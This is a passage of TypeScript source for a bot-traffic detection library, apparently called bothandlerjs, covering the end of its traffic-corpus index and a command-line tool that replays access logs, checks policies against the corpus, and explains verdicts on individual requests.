clock, so no case can influence another — which is what makes it safe to run a\n * subset, or one case on its own while debugging.\n */\nexport const CORPUS: readonly TrafficCase[] = Object.freeze([\n ...HUMAN_CASES,\n ...HUMAN_BROWSER_CASES,\n ...HUMAN_APP_CASES,\n ...BENIGN_BOT_CASES,\n ...REGIONAL_CRAWLER_CASES,\n ...VERTICAL_CRAWLER_CASES,\n ...ADVERTISING_EMAIL_CASES,\n ...CDN_GATEWAY_CASES,\n ...AI_CRAWLER_CASES,\n ...UNWANTED_BOT_CASES,\n ...TOOLING_CASES,\n ...EXTENDED_LIBRARY_CASES,\n ...ADVERSARIAL_CASES,\n ...INFRASTRUCTURE_CASES,\n ...REPUTATION_CASES,\n]);\n\n/** What each audience means, and what being wrong about it costs. */\nexport const AUDIENCE_STAKES: Readonly<Record<Audience, string>> = {\n human: \"A person. Denying one is a customer turned away, and the corpus treats it as a hard failure.\",\n \"benign-bot\": \"Automation you want. Denying one costs search ranking, share previews, or a monitor that lies about being green.\",\n \"declared-bot\": \"Honest automation. How you treat it is a business decision; the library only has to name it correctly.\",\n \"unwanted-bot\": \"Automation most sites decline. Blocking it is safe when — and only when — it declared itself.\",\n hostile: \"Scanners, forgeries and credential attacks. Denying these is the point.\",\n infrastructure: \"Your own machinery. Usually belongs in `ignorePaths` or the allowlist rather than in front of a detector.\",\n};\n\n/** Fails fast on a duplicate id, which would otherwise silently shadow a case in every report. */\nexport function assertCorpusIntegrity(cases: readonly TrafficCase[] = CORPUS): void {\n const seen = new Map<string, TrafficCase>();\n const problems: string[] = [];\n\n for (const item of cases) {\n const previous = seen.get(item.id);\n if (previous) problems.push(`duplicate id \"${item.id}\" (${previous.title} / ${item.title})`);\n seen.set(item.id, item);\n\n if (item.requests.length === 0) problems.push(`case \"${item.id}\" has no requests`);\n if (item.provenance.trim().length === 0) problems.push(`case \"${item.id}\" has no provenance`);\n if (!/^[a-z0-9][a-z0-9-]*$/.test(item.id)) problems.push(`case id \"${item.id}\" is not kebab-case`);\n }\n\n if (problems.length > 0) throw new Error(`Corpus integrity problems:\\n - ${problems.join(\"\\n - \")}`);\n}\n\nexport function casesByAudience(audience: Audience, cases: readonly TrafficCase[] = CORPUS): TrafficCase[] {\n return cases.filter((item) => item.audience === audience);\n}\n\nexport function casesByTag(tag: string, cases: readonly TrafficCase[] = CORPUS): TrafficCase[] {\n return cases.filter((item) => item.tags?.includes(tag) === true);\n}\n\n/** Every distinct category present, for reports that group by it. */\nexport function categories(cases: readonly TrafficCase[] = CORPUS): string[] {\n return [...new Set(cases.map((item) => item.category))].sort();\n}\n","#!/usr/bin/env node\n/**\n * The command line.\n *\n * The command that matters is `replay`. A bot policy is a claim about *your* traffic,\n * and the only way to check a claim like that before it starts turning people away is\n * to run it over traffic you already have. Point it at an access log and it reports\n * what would have happened — including a list of every request it would have denied,\n * so you can read them and decide whether any of them are people.\n */\nimport { createReadStream } from \"node:fs\";\nimport { createInterface } from \"node:readline\";\nimport { BotHandler } from \"./core.js\";\nimport { createFacts } from \"./facts.js\";\nimport { PRESETS } from \"./policy/presets.js\";\nimport { robotsFromRules } from \"./robots.js\";\nimport { DEFAULT_TRAP_PATHS } from \"./detectors/trap.js\";\nimport type { PresetName } from \"./policy/presets.js\";\nimport type { Assessment, RequestFacts } from \"./types.js\";\nimport type { Decision } from \"./policy/types.js\";\n\nconst USAGE = `bothandlerjs — bot traffic detection\n\n bothandlerjs replay <file> [options] Replay an access log and report what would have happened\n bothandlerjs check [--preset <p>] Run a policy against the traffic corpus: who would it hurt?\n bothandlerjs explain [request] Assess one request and show the evidence behind the verdict\n bothandlerjs robots [options] Generate a robots.txt from a policy preset\n bothandlerjs detectors [--preset <p>] List the detectors a configuration installs\n bothandlerjs --help | --version\n\ncheck options\n --preset <name> Which policy to test (default protect-content)\n --audience <a> Only cases for one audience: human | benign-bot | declared-bot |\n unwanted-bot | hostile | infrastructure\n --json Emit the scorecard as JSON\n --strict Also fail on cases whose expected action differs (default: only\n the invariants — nothing marked as a person may be denied)\n\nexplain\n Reads a User-Agent, a curl command or a block of request headers, from an argument\n or from stdin:\n\n bothandlerjs explain \"curl/8.4.0\"\n pbpaste | bothandlerjs explain --preset protect-data\n bothandlerjs explain --ip 203.0.113.9 --url /checkout \"Mozilla/5.0 ...\"\n\nreplay options\n --preset <name> monitor-only | protect-content | protect-data | protect-auth (default protect-content)\n --limit <n> Stop after n parsed lines\n --show <n> How many would-be-denied requests to print in full (default 10)\n --json Emit the report as JSON instead of text\n --format <f> clf | json (default: detected from the first line)\n\nAccepted input\n Combined/Common Log Format, as nginx and Apache write by default.\n JSON Lines, one object per line: { ip, method, url, headers, timestamp }.\n\n JSON Lines is strongly preferred. A CLF line carries only the User-Agent and the\n Referer, so every header-consistency detector is blind on it — a replay over CLF\n under-reports, and its silence is not evidence of a clean bill of health.\n`;\n\ninterface ReplayCounters {\n parsed: number;\n skipped: number;\n /** Records whose header set was known to be incomplete. See `RequestFacts.partialHeaders`. */\n headerPoor: number;\n verdicts: Map<string, number>;\n actions: Map<string, number>;\n detectors: Map<string, number>;\n downgrades: number;\n denied: Array<{ assessment: Assessment; decision: Decision }>;\n}\n\nexport async function main(argv: readonly string[]): Promise<number> {\n const [command, ...rest] = argv;\n\n if (command === undefined || command === \"--help\" || command === \"-h\" || command === \"help\") {\n process.stdout.write(USAGE);\n return 0;\n }\n if (command === \"--version\" || command === \"-v\") {\n process.stdout.write(\"bothandlerjs 0.2.0\\n\");\n return 0;\n }\n\n const flags = parseFlags(rest);\n\n switch (command) {\n case \"replay\":\n return replay(rest[0], flags);\n case \"check\":\n return check(flags);\n case \"explain\": {\n // `undefined` and `\"\"` mean different things here: nothing on the command line is\n // an invitation to read the pipe, and an empty argument is a mistake to report.\n const given = positionals(rest);\n return explain(given.length === 0 ? undefined : given.join(\" \"), flags);\n }\n case \"robots\":\n return robots(flags);\n case \"detectors\":\n return detectors(flags);\n default:\n process.stderr.write(`Unknown command \"${command}\".\\n\\n${USAGE}`);\n return 1;\n }\n}\n\n// ---------------------------------------------------------------------------\n\nasync function replay(file: string | undefined, flags: Map<string, string>): Promise<number> {\n if (file === undefined || file.startsWith(\"--\")) {\n process.stderr.write(\"replay needs a file: bothandlerjs replay access.log\\n\");\n return 1;\n }\n\n const preset = (flags.get(\"preset\") ?? \"protect-content\") as PresetName;\n if (!(preset in PRESETS)) {\n process.stderr.write(`Unknown preset \"${preset}\". One of: ${Object.keys(PRESETS).join(\", \")}\\n`);\n return 1;\n }\n\n // Validated rather than coerced. `Number(\"all\")` is NaN, every comparison against\n // NaN is false, and the failure is silent in both directions: `--limit` stops\n // limiting, and `--show` prints an empty list under a heading announcing that the\n // list is the point of the exercise.\n const limit = numericFlag(flags, \"limit\", Number.POSITIVE_INFINITY);\n const show = numericFlag(flags, \"show\", 10);\n if (limit === undefined || show === undefined) return 1;\n\n // A replay must never resolve DNS. It would be thousands of lookups for addresses\n // that may no longer route anywhere, and the verification result would describe\n // today's DNS rather than the day the traffic happened.\n const handler = new BotHandler({\n preset,\n resolver: { reverse: () => Promise.reject(new Error(\"offline\")), resolveAddresses: () => Promise.reject(new Error(\"offline\")) },\n metrics: true,\n });\n\n const counters: ReplayCounters = {\n parsed: 0,\n skipped: 0,\n headerPoor: 0,\n verdicts: new Map(),\n actions: new Map(),\n detectors: new Map(),\n downgrades: 0,\n denied: [],\n };\n\n let format = flags.get(\"format\");\n\n // A read error surfaces twice — once on the stream, once as a rejection from the\n // `for await` below — so it is reported once, here, and the loop is allowed to\n // unwind quietly rather than printing a second, uglier copy of the same problem.\n let readError: NodeJS.ErrnoException | undefined;\n const stream = createReadStream(file, { encoding: \"utf8\" });\n stream.on(\"error\", (error: NodeJS.ErrnoException) => {\n readError = error;\n });\n\n const lines = createInterface({ input: stream, crlfDelay: Number.POSITIVE_INFINITY });\n\n try {\n for await (const line of lines) {\n if (counters.parsed >= limit) break;\n const text = line.trim();\n if (text.length === 0) continue;\n\n format ??= text.startsWith(\"{\") ? \"json\" : \"clf\";\n const facts = format === \"json\" ? parseJsonLine(text) : parseCommonLogLine(text);\n if (facts === undefined) {\n counters.skipped++;\n continue;\n }\n\n counters.parsed++;\n if (facts.partialHeaders === true) counters.headerPoor++;\n const assessment = await handler.assess(facts);\n const decision = handler.decide(assessment);\n\n bump(counters.verdicts, assessment.verdict);\n bump(counters.actions, decision.action);\n // Distinct detectors per request. Counting evidence items instead lets one\n // detector contribute several to a single request and produce a \"share of\n // requests\" above 100%, which is not a share of anything.\n const fired = new Set<string>();\n for (const item of assessment.evidence) fired.add(item.detector);\n for (const detector of fired) bump(counters.detectors, detector);\n if (decision.downgradedFrom !== undefined) counters.downgrades++;\n if (decision.action === \"block\" || decision.action === \"drop\" || decision.action === \"redirect\") {\n if (counters.denied.length < 500) counters.denied.push({ assessment, decision });\n }\n }\n } catch (error) {\n readError ??= error as NodeJS.ErrnoException;\n }\n\n if (readError !== undefined) {\n process.stderr.write(readError.code === \"ENOENT\" ? `No such file: ${file}\\n` : `Cannot read ${file}: ${readError.message}\\n`);\n return 1;\n }\n\n if (flags.has(\"json\")) {\n process.stdout.write(`${JSON.stringify({ preset, format, ...summarise(counters), metrics: handler.metrics() }, null, 2)}\\n`);\n return 0;\n }\n\n report(counters, { preset, format: format ?? \"clf\", show, actors: handler.registry.size });\n return 0;\n}\n\n/** Reads a positive numeric flag, or reports the problem and returns `undefined`. */\nfunction numericFlag(flags: Map<string, string>, name: string, fallback: number): number | undefined {\n const raw = flags.get(name);\n if (raw === undefined) return fallback;\n const value = Number(raw);\n if (!Number.isFinite(value) || value < 0) {\n process.stderr.write(`--${name} needs a non-negative number; received \"${raw}\".\\n`);\n return undefined;\n }\n return value;\n}\n\nfunction summarise(counters: ReplayCounters): Record<string, unknown> {\n return {\n parsed: counters.parsed,\n skipped: counters.skipped,\n headerPoor: counters.headerPoor,\n verdicts: Object.fromEntries(counters.verdicts),\n actions: Object.fromEntries(counters.actions),\n detectors: Object.fromEntries(counters.detectors),\n downgrades: counters.downgrades,\n denied: counters.denied.map(({ assessment, decision }) => ({\n method: assessment.facts.method,\n path: assessment.facts.path,\n ip: assessment.facts.ip,\n userAgent: assessment.facts.headers[\"user-agent\"],\n verdict: assessment.verdict,\n rule: decision.rule,\n evidence: assessment.evidence.map((item) => ({ detector: item.detector, certainty: item.certainty, summary: item.summary })),\n })),\n };\n}\n\nfunction report(counters: ReplayCounters, context: { preset: string; format: string; show: number; actors: number }): void {\n const rule = \"─\".repeat(74);\n const out = (line = \"\") => process.stdout.write(`${line}\\n`);\n\n out();\n out(rule);\n out(` replay — ${counters.parsed.toLocaleString()} requests, preset \"${context.preset}\", format ${context.format}`);\n out(rule);\n if (counters.skipped > 0) out(` ${counters.skipped.toLocaleString()} line(s) could not be parsed and were skipped.`);\n out(` ${context.actors.toLocaleString()} distinct actors seen.`);\n // Driven by what was actually read rather than by the file's format. A JSON log\n // carrying the handful of headers somebody configured their logger to keep is as\n // header-poor as a CLF line, and a replay that quietly detects less while reporting\n // a clean result is the one outcome this command must not produce.\n if (counters.headerPoor > 0) {\n const share = counters.parsed === 0 ? 0 : (counters.headerPoor / counters.parsed) * 100;\n const everyLine = counters.headerPoor === counters.parsed;\n out();\n out(` NOTE: ${everyLine ? \"every line\" : `${counters.headerPoor.toLocaleString()} line(s), ${share.toFixed(0)}%,`} carried an incomplete header set, so every`);\n out(\" detector that reasons from a missing header stood down for them. What you see\");\n out(\" below is a floor, not a full picture.\");\n out(context.format === \"clf\"\n ? \" A CLF line records only the User-Agent and the Referer — log JSON with the full\"\n : \" Log the request's full header set — a selected few fields are not enough for\");\n out(context.format === \"clf\" ? \" header set to replay at full fidelity.\" : \" the header-consistency detectors to say anything.\");\n }\n\n out();\n out(\" verdicts\");\n table(out, counters.verdicts, counters.parsed);\n out();\n out(\" what would have happened\");\n table(out, counters.actions, counters.parsed);\n\n if (counters.detectors.size > 0) {\n out();\n out(\" detectors that fired\");\n table(out, counters.detectors, counters.parsed);\n }\n\n out();\n if (counters.downgrades > 0) {\n out(` ${counters.downgrades.toLocaleString()} request(s) matched a rule asking to deny service and were downgraded`);\n out(` by the safety guard for lack of proof. Those are requests your policy wanted`);\n out(` to block and could not justify blocking.`);\n } else {\n out(\" No rule asked to deny service without proof.\");\n }\n\n const denied = counters.denied;\n out();\n out(rule);\n if (denied.length === 0) {\n out(\" Nothing would have been denied.\");\n out(rule);\n return;\n }\n\n // One entry per distinct (rule, client, reason). A hundred identical sqlmap lines\n // teach less than one line saying \"sqlmap, a hundred times\", and the whole purpose\n // of this list is that a person reads all of it.\n const groups = new Map<string, { count: number; assessment: Assessment; decision: Decision }>();\n for (const entry of denied) {\n const key = `${entry.decision.rule}|${entry.assessment.facts.headers[\"user-agent\"] ?? \"\"}|${entry.assessment.evidence[0]?.detector ?? \"\"}`;\n const existing = groups.get(key);\n if (existing) existing.count++;\n else groups.set(key, { count: 1, assessment: entry.assessment, decision: entry.decision });\n }\n const ranked = [...groups.values()].sort((a, b) => b.count - a.count);\n\n out(` ${denied.length.toLocaleString()}${denied.length >= 500 ? \"+\" : \"\"} request(s) would have been DENIED, in ${ranked.length} distinct kind(s). Read them.`);\n out(rule);\n out(\" This list is the point of the exercise. Every entry is a request your policy\");\n out(\" would have refused; if any of them is a person, your policy is wrong.\");\n out();\n\n for (const { count, assessment, decision } of ranked.slice(0, context.show)) {\n out(` ${String(count).padStart(6)}x ${decision.action} by rule \"${decision.rule}\" — ${assessment.verdict}${assessment.certain ? \", proven\" : `, score ${assessment.score}`}`);\n out(` ${(assessment.facts.headers[\"user-agent\"] ?? \"(no User-Agent)\").slice(0, 84)}`);\n out(` e.g. ${assessment.facts.method} ${assessment.facts.path} from ${assessment.facts.ip}`);\n for (const item of assessment.evidence.slice(0, 3)) {\n out(` [${item.certainty}] ${item.detector}: ${item.summary.slice(0, 80)}`);\n }\n out();\n }\n if (ranked.length > context.show) out(` ... and ${ranked.length - context.show} more kind(s). Use --show <n>, or --json for everything.`);\n out(rule);\n}\n\nfunction table(out: (line?: string) => void, counts: Map<string, number>, total: number): void {\n const rows = [...counts.entries()].sort((a, b) => b[1] - a[1]);\n const width = Math.max(0, ...rows.map(([key]) => key.length));\n for (const [key, value] of rows) {\n const share = total === 0 ? 0 : (value / total) * 100;\n const bar = \"█\".repeat(Math.round(share / 4));\n out(` ${key.padEnd(width)} ${String(value).padStart(8)} ${share.toFixed(1).padStart(5)}% ${bar}`);\n }\n}\n\n// ---------------------------------------------------------------------------\n\n/**\n * Runs a policy against the traffic corpus.\n *\n * The question this library is organised around, asked offline and before a deploy:\n * *if I point this configuration at the actual internet, who gets hurt?* The corpus is\n * 526 shapes of real traffic with provenance — real User-Agent strings, real header\n * sets in the order real clients send them — and a large share of them are people.\n *\n * One number in the output matters more than the rest, and it is the exit code: a\n * policy that denies service to any case marked `human` fails, whatever else it got\n * right. That check runs against every human case regardless of what that case's own\n * expectations say, so a case added tomorrow protects you the moment somebody writes it\n * down.\n *\n * DNS is controlled rather than real, the clock is manual, and every case gets its own\n * address — so this is reproducible, offline, and safe to put in CI.\n */\nasync function check(flags: Map<string, string>): Promise<number> {\n const preset = (flags.get(\"preset\") ?? \"protect-content\") as PresetName;\n if (!(preset in PRESETS)) {\n process.stderr.write(`Unknown preset \"${preset}\". One of: ${Object.keys(PRESETS).join(\", \")}\\n`);\n return 1;\n }\n\n const audience = flags.get(\"audience\");\n const audiences: readonly string[] = [\"human\", \"benign-bot\", \"declared-bot\", \"unwanted-bot\", \"hostile\", \"infrastructure\"];\n if (audience !== undefined && !audiences.includes(audience)) {\n process.stderr.write(`Unknown audience \"${audience}\". One of: ${audiences.join(\", \")}\\n`);\n return 1;\n }\n\n const { CORPUS } = await import(\"./corpus/index.js\");\n const { runCorpus } = await import(\"./corpus/runner.js\");\n\n const cases = audience === undefined ? CORPUS : CORPUS.filter((entry) => entry.audience === audience);\n const scorecard = await runCorpus({\n create: ({ resolver, clock }) => new BotHandler({ preset, resolver, clock, metrics: true }),\n cases,\n // The presets are what the corpus's action expectations were written against, so\n // asserting them is meaningful here in a way it would not be for somebody's own\n // rules. `--strict` is for treating an action difference as a failure rather than\n // as a policy decision.\n assertActions: flags.has(\"strict\"),\n // A preset installs the detectors and nothing else: no denylist, no datacenter\n // ranges, no trap field of your own. Cases needing those are skipped and counted\n // rather than failed, because their absence is a fact about this configuration and\n // not a defect in it. `crawler-ranges` is supplied by the runner itself.\n provides: [\"crawler-ranges\"],\n });\n\n if (flags.has(\"json\")) {\n process.stdout.write(\n `${JSON.stringify(\n {\n preset,\n total: scorecard.total,\n passed: scorecard.passed,\n failed: scorecard.failed,\n falsePositives: scorecard.falsePositives.map((result) => ({ id: result.case.id, title: result.case.title, action: result.final.decision.action })),\n skipped: scorecard.skipped.length,\n byAudience: scorecard.byAudience,\n unexercisedDetectors: scorecard.unexercisedDetectors,\n },\n null,\n 2,\n )}\\n`,\n );\n return scorecard.falsePositives.length > 0 || (flags.has(\"strict\") && scorecard.failed > 0) ? 1 : 0;\n }\n\n const lines: string[] = [];\n lines.push(`\\n ${preset} against ${scorecard.total} shapes of real traffic\\n`);\n for (const [name, tally] of Object.entries(scorecard.byAudience)) {\n if (tally.total === 0) continue;\n const actions = Object.entries(tally.actions)\n .filter(([, count]) => count > 0)\n .map(([action, count]) => `${count} ${action}`)\n .join(\", \");\n lines.push(` ${name.padEnd(15)} ${String(tally.total).padStart(4)} cases ${actions}`);\n }\n if (scorecard.skipped.length > 0) lines.push(`\\n ${scorecard.skipped.length} skipped — the case needs something this configuration does not install.`);\n\n if (scorecard.falsePositives.length > 0) {\n lines.push(`\\n ${scorecard.falsePositives.length} PERSON(S) DENIED SERVICE — this policy turns people away:\\n`);\n for (const result of scorecard.falsePositives) {\n lines.push(` ${result.final.decision.action.padEnd(9)} ${result.case.id}`);\n lines.push(` ${result.case.title}`);\n lines.push(` ${result.case.provenance}`);\n }\n } else {\n lines.push(\"\\n No case marked as a person was denied service.\");\n }\n\n if (flags.has(\"strict\") && scorecard.failed > 0) {\n lines.push(`\\n ${scorecard.failed} case(s) reached a different action than expected:`);\n for (const result of scorecard.results.filter((entry) => entry.failures.length > 0).slice(0, 20)) {\n lines.push(` ${result.case.id}: ${result.failures.join(\"; \")}`);\n }\n }\n\n if (scorecard.unexercisedDetectors.length > 0) {\n lines.push(`\\n Detectors no case exercised: ${scorecard.unexercisedDetectors.join(\", \")}`);\n }\n lines.push(\"\");\n process.stdout.write(lines.join(\"\\n\"));\n\n return scorecard.falsePositives.length > 0 || (flags.has(\"strict\") && scorecard.failed > 0) ? 1 : 0;\n}\n\n/**\n * Assesses one request and explains the verdict.\n *\n * The question that arrives by ticket rather than by traffic: *why is this client being\n * challenged?* It takes whatever you have to hand — a User-Agent out of a support\n * email, a curl command out of devtools, a header block out of a log — and runs a **dry\n * run**, so nothing is recorded anywhere and asking does not change the answer.\n *\n * It has no history, by construction: the actor it assesses has never been seen, so\n * `cadence`, `crawl-breadth` and `rate-anomaly` have nothing to read. What it answers\n * exactly is *what would this look like as a first request*, which is what a ticket is\n * asking anyway.\n */\nasync function explain(input: string | undefined, flags: Map<string, string>): Promise<number> {\n const preset = (flags.get(\"preset\") ?? \"protect-content\") as PresetName;\n if (!(preset in PRESETS)) {\n process.stderr.write(`Unknown preset \"${preset}\". One of: ${Object.keys(PRESETS).join(\", \")}\\n`);\n return 1;\n }\n\n // Only an *absent* argument waits on stdin. An empty one is answered now, because a\n // command that silently blocks on a pipe nobody is writing to is a command that looks\n // like it has hung — and in a script, one that has.\n const raw = input === undefined ? await readStdin() : input;\n if (raw.trim() === \"\") {\n process.stderr.write('explain needs a request: bothandlerjs explain \"curl/8.4.0\", or pipe one in\\n');\n return 1;\n }\n\n const { parseRequest } = await import(\"./dashboard/parse-request.js\");\n let parsed: ReturnType<typeof parseRequest>;\n try {\n parsed = parseRequest(raw, {\n ip: flags.get(\"ip\"),\n url: flags.get(\"url\"),\n method: flags.get(\"method\"),\n });\n } catch (error) {\n process.stderr.write(`${error instanceof Error ? error.message : String(error)}\\n`);\n return 1;\n }\n\n // Offline, for the same reason `replay` is: a lookup would describe today's DNS\n // rather than anything about the request in front of you, and it would be a\n // surprising thing for a command like this to do to somebody's network.\n const handler = new BotHandler({\n preset,\n resolver: { reverse: () => Promise.reject(new Error(\"offline\")), resolveAddresses: () => Promise.reject(new Error(\"offline\")) },\n });\n\n const facts = createFacts({ method: parsed.method, url: parsed.url, headers: parsed.headers, ip: parsed.ip, protocol: \"https\", httpVersion: \"1.1\" });\n const assessment = await handler.assess(facts, { record: false });\n const decision = handler.policy.decide(assessment);\n\n if (flags.has(\"json\")) {\n process.stdout.write(`${JSON.stringify({ assessment: { ...assessment, facts: undefined }, decision, assumed: parsed.assumed }, null, 2)}\\n`);\n return 0;\n }\n\n const lines = [\n \"\",\n ` ${parsed.method} ${parsed.url} ${parsed.headers[\"user-agent\"] ?? \"(no User-Agent)\"}`,\n \"\",\n ` verdict ${assessment.verdict}${assessment.identity === undefined ? \"\" : ` (${assessment.identity})`}`,\n ` certainty ${assessment.certain ? \"proven\" : `probabilistic, score ${assessment.score}`}`,\n ` class ${assessment.botClass}`,\n ` action ${decision.action}${decision.downgradedFrom === undefined ? \"\" : ` (the guard stopped ${decision.downgradedFrom})`}`,\n ` rule ${decision.rule}`,\n \"\",\n ` ${decision.reason}`,\n \"\",\n ];\n\n if (assessment.evidence.length + assessment.humanEvidence.length === 0) {\n lines.push(\" No detector produced any evidence.\", \"\");\n } else {\n for (const item of [...assessment.evidence, ...assessment.humanEvidence]) {\n lines.push(` ${item.certainty.padEnd(9)} ${item.detector.padEnd(22)} ${item.summary}`);\n if (item.deterministicBasis !== undefined) lines.push(` ${item.deterministicBasis}`);\n }\n lines.push(\"\");\n }\n\n // Said every time. A tool that silently invents a client address is one whose answer\n // about `ip-intelligence` cannot be trusted, and the reader cannot tell which run was\n // which.\n lines.push(` Assumed — ${[...parsed.assumed, \"no history: assessed as a first request\"].join(\"; \")}.`, \"\");\n process.stdout.write(lines.join(\"\\n\"));\n return 0;\n}\n\n/** Everything on stdin, for `… | bothandlerjs explain`. */\nasync function readStdin(): Promise<string> {\n if (process.stdin.isTTY === true) return \"\";\n const chunks: Buffer[] = [];\n for await (const chunk of process.stdin) chunks.push(Buffer.from(chunk as Buffer));\n return Buffer.concat(chunks).toString(\"utf8\");\n}\n\nfunction robots(flags: Map<string, string>): number {\n const preset = (flags.get(\"preset\") ?? \"protect-data\") as PresetName;\n const build = PRESETS[preset];\n if (!build) {\n process.stderr.write(`Unknown preset \"${preset}\". One of: ${Object.keys(PRESETS).join(\", \")}\\n`);\n return 1;\n }\n const sitemap = flags.get(\"sitemap\");\n const result = robotsFromRules(build(), {\n disallowPaths: DEFAULT_TRAP_PATHS,\n ...(sitemap !== undefined ? { sitemap } : {}),\n header: [`# Generated by bothandlerjs from the \"${preset}\" policy.`, \"# robots.txt is a request, not enforcement. Everything that ignores it is the point.\"],\n });\n process.stdout.write(result.robotsTxt);\n for (const entry of result.unreadable) {\n process.stderr.write(`note: rule \"${entry.rule}\" was not reflected — ${entry.reason}\\n`);\n }\n // On stderr, so a redirect into robots.txt stays clean while the reasoning still\n // reaches whoever ran the command.\n if (result.served.length > 0) {\n process.stderr.write(`note: not declined, because an earlier rule serves them — ${result.served.join(\", \")}\\n`);\n }\n return 0;\n}\n\nfunction detectors(flags: Map<string, string>): number {\n const preset = flags.get(\"preset\") as PresetName | undefined;\n const handler = new BotHandler(preset !== undefined && preset in PRESETS ? { preset } : {});\n for (const entry of handler.describeDetectors()) {\n process.stdout.write(`${entry.id.padEnd(24)} ${entry.cost.padEnd(6)} ${entry.stage.padEnd(11)} ${entry.description}\\n`);\n }\n process.stdout.write(`\\n${handler.describeDetectors().length} detectors installed.\\n`);\n return 0;\n}\n\n// ---------------------------------------------------------------------------\n\n/** `1.2.3.4 - - [10/Oct/2000:13:55:36 -0700] \"GET /p HTTP/1.1\" 200 2326 \"ref\" \"ua\"` */\nconst COMMON_LOG = /^(\\S+) \\S+ \\S+ \\[([^\\]]+)\\] \"(\\S+) (\\S+)(?: (HTTP\\/[\\d.]+))?\" (\\d{3}) (\\S+)(?: \"([^\"]*)\" \"([^\"]*)\")?/;\n\nexport function parseCommonLogLine(line: string): RequestFacts | undefined {\n const match = COMMON_LOG.exec(line);\n if (!match) return undefined;\n\n const headers: Record<string, string | string[] | undefined> = {};\n const referer = match[8];\n const userAgent = match[9];\n if (referer !== undefined && referer !== \"-\") headers[\"referer\"] = referer;\n if (userAgent !== undefined && userAgent !== \"-\") headers[\"user-agent\"] = userAgent;\n\n const timestamp = parseClfTime(match[2]!);\n return createFacts({\n method: match[3]!,\n url: match[4]!,\n headers,\n ip: match[1]!,\n // A CLF line records the User-Agent and the Referer and nothing else. Without\n // this flag every browser in the log looks like a client that sent no Accept and\n // no Accept-Language, which is how a replay ends up reporting most of a site's\n // human traffic as suspected automation.\n partialHeaders: true,\n ...(timestamp !== undefined ? { timestamp } : {}),\n ...(match[5] !== undefined ? { httpVersion: match[5].slice(5) } : {}),\n });\n}\n\nconst MONTHS: Record<string, number> = { Jan: 0, Feb: 1, Mar: 2, Apr: 3, May: 4, Jun: 5, Jul: 6, Aug: 7, Sep: 8, Oct: 9, Nov: 10, Dec: 11 };\n\n/** `10/Oct/2000:13:55:36 -0700`. Timestamps matter: they drive every behavioural detector. */\nfunction parseClfTime(value: string): number | undefined {\n const match = /^(\\d{2})\\/(\\w{3})\\/(\\d{4}):(\\d{2}):(\\d{2}):(\\d{2}) ([+-])(\\d{2})(\\d{2})$/.exec(value);\n if (!match) return undefined;\n const month = MONTHS[match[2]!];\n if (month === undefined) return undefined;\n const utc = Date.UTC(Number(match[3]), month, Number(match[1]), Number(match[4]), Number(match[5]), Number(match[6]));\n const offset = (Number(match[8]) * 60 + Number(match[9])) * 60_000 * (match[7] === \"-\" ? -1 : 1);\n return utc - offset;\n}\n\nexport function parseJsonLine(line: string): RequestFacts | undefined {\n let record: Record<string, unknown>;\n try {\n record = JSON.parse(line) as Record<string, unknown>;\n } catch {\n return undefined;\n }\n if (typeof record !== \"object\" || record === null) return undefined;\n\n const ip = firstString(record, [\"ip\", \"remote_addr\", \"client_ip\", \"remoteAddress\"]);\n if (ip === undefined) return undefined;\n\n const rawHeaders = record[\"headers\"];\n const hasHeaders = typeof rawHeaders === \"object\" && rawHeaders !== null;\n const headers = (hasHeaders ? rawHeaders : {}) as Record<string, string | string[] | undefined>;\n const timestamp = readTimestamp(record);\n\n return createFacts({\n method: firstString(record, [\"method\", \"request_method\", \"verb\"]) ?? \"GET\",\n url: firstString(record, [\"url\", \"path\", \"request_uri\", \"uri\", \"request\"]) ?? \"/\",\n headers,\n ip,\n ...(isCompleteCapture(record, headers) ? {} : { partialHeaders: true as const }),\n ...(timestamp !== undefined ? { timestamp } : {}),\n ...(firstString(record, [\"httpVersion\", \"http_version\"]) !== undefined ? { httpVersion: firstString(record, [\"httpVersion\", \"http_version\"])! } : {}),\n ...(firstString(record, [\"protocol\", \"scheme\"]) === \"https\" ? { protocol: \"https\" as const } : {}),\n });\n}\n\n/**\n * Headers a real capture has and a selected-subset access log does not.\n *\n * Every browser sends `Accept` and `Accept-Encoding`; almost no logger is configured\n * to record them, because nobody reads them. Their presence is therefore a good\n * indicator that the `headers` object is the request rather than an extract of it.\n */\nconst FULL_CAPTURE_MARKERS = [\"accept\", \"accept-encoding\", \"accept-language\", \"sec-fetch-mode\", \"sec-fetch-dest\", \"sec-ch-ua\"];\n\n/**\n * Is this record's `headers` object the whole request, or the handful of fields\n * somebody configured their logger to keep?\n *\n * It used to be taken at its word whenever it existed, and that is wrong for the\n * shape almost every JSON access log actually has. nginx, Envoy and CloudFront all\n * log a chosen subset — typically host, user-agent and referer — and reading that\n * subset as complete means every browser in the file is a client that sent no\n * `Accept`, no `Accept-Language` and no `Accept-Encoding`. The same Chrome request\n * scored 0 replayed from a CLF line and 87 from a JSON one, purely because the CLF\n * branch declares itself header-poor and this one did not.\n *\n * A record may say so itself, which settles it. Otherwise completeness is inferred\n * from whether the object carries headers a logger would have had no reason to keep.\n */\nfunction isCompleteCapture(record: Record<string, unknown>, headers: Record<string, string | string[] | undefined>): boolean {\n const declared = record[\"partialHeaders\"] ?? record[\"partial_headers\"];\n if (typeof declared === \"boolean\") return !declared;\n const names = new Set(Object.keys(headers).map((name) => name.toLowerCase()));\n return FULL_CAPTURE_MARKERS.some((marker) => names.has(marker));\n}\n\nfunction firstString(record: Record<string, unknown>, keys: readonly string[]): string | undefined {\n for (const key of keys) {\n const value = record[key];\n if (typeof value === \"string\" && value.length > 0) return value;\n }\n return undefined;\n}\n\nfunction readTimestamp(record: Record<string, unknown>): number | undefined {\n for (const key of [\"timestamp\", \"time\", \"@timestamp\", \"ts\", \"date\"]) {\n const value = record[key];\n if (typeof value === \"number\" && Number.isFinite(value)) {\n // Seconds or milliseconds: anything below this bound is not a plausible ms epoch.\n return value < 100_000_000_000 ? value * 1000 : value;\n }\n if (typeof value === \"string\") {\n const parsed = Date.parse(value);\n if (Number.isFinite(parsed)) return parsed;\n }\n }\n return undefined;\n}\n\n/**\n * Flags that take a value. Everything else is on or off.\n *\n * Named explicitly because the alternative — \"a flag swallows the next token unless\n * that token is another flag\" — cannot tell `--json curl/8.4.0` from `--preset\n * protect-data`. It read the request as the value of `--json`, left no positional\n * argument at all, and `explain` sat waiting on a pipe nobody was writing to.\n */\nconst VALUE_FLAGS = new Set([\"preset\", \"audience\", \"limit\", \"show\", \"format\", \"ip\", \"url\", \"method\"]);\n\n/**\n * The arguments that are neither a flag nor a flag's value.\n *\n * 